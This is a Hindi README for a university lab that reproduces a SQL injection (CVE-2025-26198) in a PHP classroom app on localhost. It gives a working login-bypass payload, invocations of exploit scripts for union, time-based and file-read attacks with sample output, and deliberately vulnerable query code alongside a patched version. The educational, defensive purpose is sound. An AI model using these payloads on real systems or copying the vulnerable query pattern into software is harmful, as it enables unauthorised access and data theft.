
CVE-2025-26198 SQL इंजेक्शन का शैक्षणिक पुनरुत्पादन जिसमें चार शोषण तकनीकें (बूलियन, यूनियन, टाइम-बेस्ड, फ़ाइल रीड) और साइबर सुरक्षा शिक्षा के लिए पैच किए गए संस्करण की तुलना शामिल है।
ENSIMAG शैक्षणिक परियोजना - सुरक्षा 3A
लेखक : Wail Yacoubi, Mohammed-Yassine Akhmari
तारीख : जनवरी 2026
यह कोड जानबूझकर शैक्षणिक उद्देश्यों के लिए कमजोर बनाया गया है।
इसे कभी भी उत्पादन में तैनात न करें।
CVE-2025-26198 का पुनरुत्पादन: CloudClassroom-PHP-Project v1.0 में गंभीर SQL इंजेक्शन।
CVE की विशेषताएँ:
आधिकारिक संदर्भ : https://nvd.nist.gov/vuln/detail/CVE-2025-26198
SQL इंजेक्शन की 4 शोषण तकनीकों का प्रदर्शन:
pip install requests# क्लोन रिपॉजिटरी
git clone <आपका-रिपो>
cd CVE-2025-26198
# इन्फ्रास्ट्रक्चर लॉन्च करें
docker-compose up -d
# MySQL तैयार होने तक प्रतीक्षा करें (30 सेकंड)
sleep 30
# कंटेनर जाँचें
docker-compose ps
एप्लिकेशन http://localhost:8081 पर उपलब्ध है
http://localhost:8081 पर जाएँ
फॉर्म भरें :
admin' OR '1'='1'-- -anythingलॉगिन पर क्लिक करें
परिणाम : बिना वैध पासवर्ड के एडमिन कनेक्शन सफल।
व्याख्या:
पेलोड SQL क्वेरी को बदल देता है :
-- सामान्य क्वेरी
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')
-- इंजेक्शन के साथ क्वेरी
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')
OR '1'='1' हमेशा सत्य है, और -- - बाकी को टिप्पणी कर देता है।
python exploit_simple.py http://localhost:8081
अपेक्षित आउटपुट :
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200
python exploit.py http://localhost:8081
अपेक्षित आउटपुट :
============================================================
CVE-2025-26198 - SQL Injection Exploitation
============================================================
Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials
Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
- admin:[email protected]
- superadmin:[email protected]
Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED
Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed
EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)
तैयार स्टेटमेंट के साथ सुरक्षित संस्करण का परीक्षण करें :
# पैच किए गए संस्करण को सक्रिय करें
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3
# एक्सप्लॉइट का पुन: परीक्षण करें
python exploit_simple.py http://localhost:8081
अपेक्षित परिणाम :
[-] Error: Connection aborted
[-] Exploitation failed
इनपुट सत्यापन और तैयार स्टेटमेंट द्वारा हमला अवरुद्ध हो जाता है।
कमजोर संस्करण पुनर्स्थापित करें :
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web
कमजोर कोड :
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);
सुरक्षित कोड :
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│ ├── index.html
│ ├── loginlinkadmin.php # Version vulnérable
│ ├── loginlinkadmin_PATCHED.php # Version sécurisée
│ └── sql/
│ ├── init.sql
│ └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/
docker-compose logs web
docker-compose down
docker-compose up -d --build
# MySQL जाँचें
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"
# वेब सेवा जाँचें
curl http://localhost:8081
# सक्रिय संस्करण जाँचें
head -n 2 app/loginlinkadmin.php
docker-compose.yml को संशोधित करें :
ports:
- "8082:80"
विस्तृत विश्लेषण के लिए RAPPORT.md देखें जिसमें शामिल है :
यह परियोजना केवल शैक्षणिक उद्देश्यों के लिए ENSIMAG साइबर सुरक्षा पाठ्यक्रम के भाग के रूप में विकसित की गई है।
अनुमत उपयोग :
निषिद्ध उपयोग :
शैक्षणिक ढांचे के बाहर कोई भी उपयोग सख्त वर्जित और अवैध है।
लेखक
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - बैच 2026
पाठ्यक्रम : सुरक्षा 3A
| पहलू | कमजोर संस्करण | पैच किया गया संस्करण |
|---|
| SQL क्वेरी | सीधा संयोजन | PDO तैयार स्टेटमेंट |
| इनपुट सत्यापन | कोई नहीं | अल्फ़ान्यूमेरिक रीजेक्स |
| आउटपुट एस्केपिंग | नहीं | htmlspecialchars() |
| SQL इंजेक्शन | शोषण योग्य | अवरुद्ध |
| लॉग | कोई नहीं | error_log() |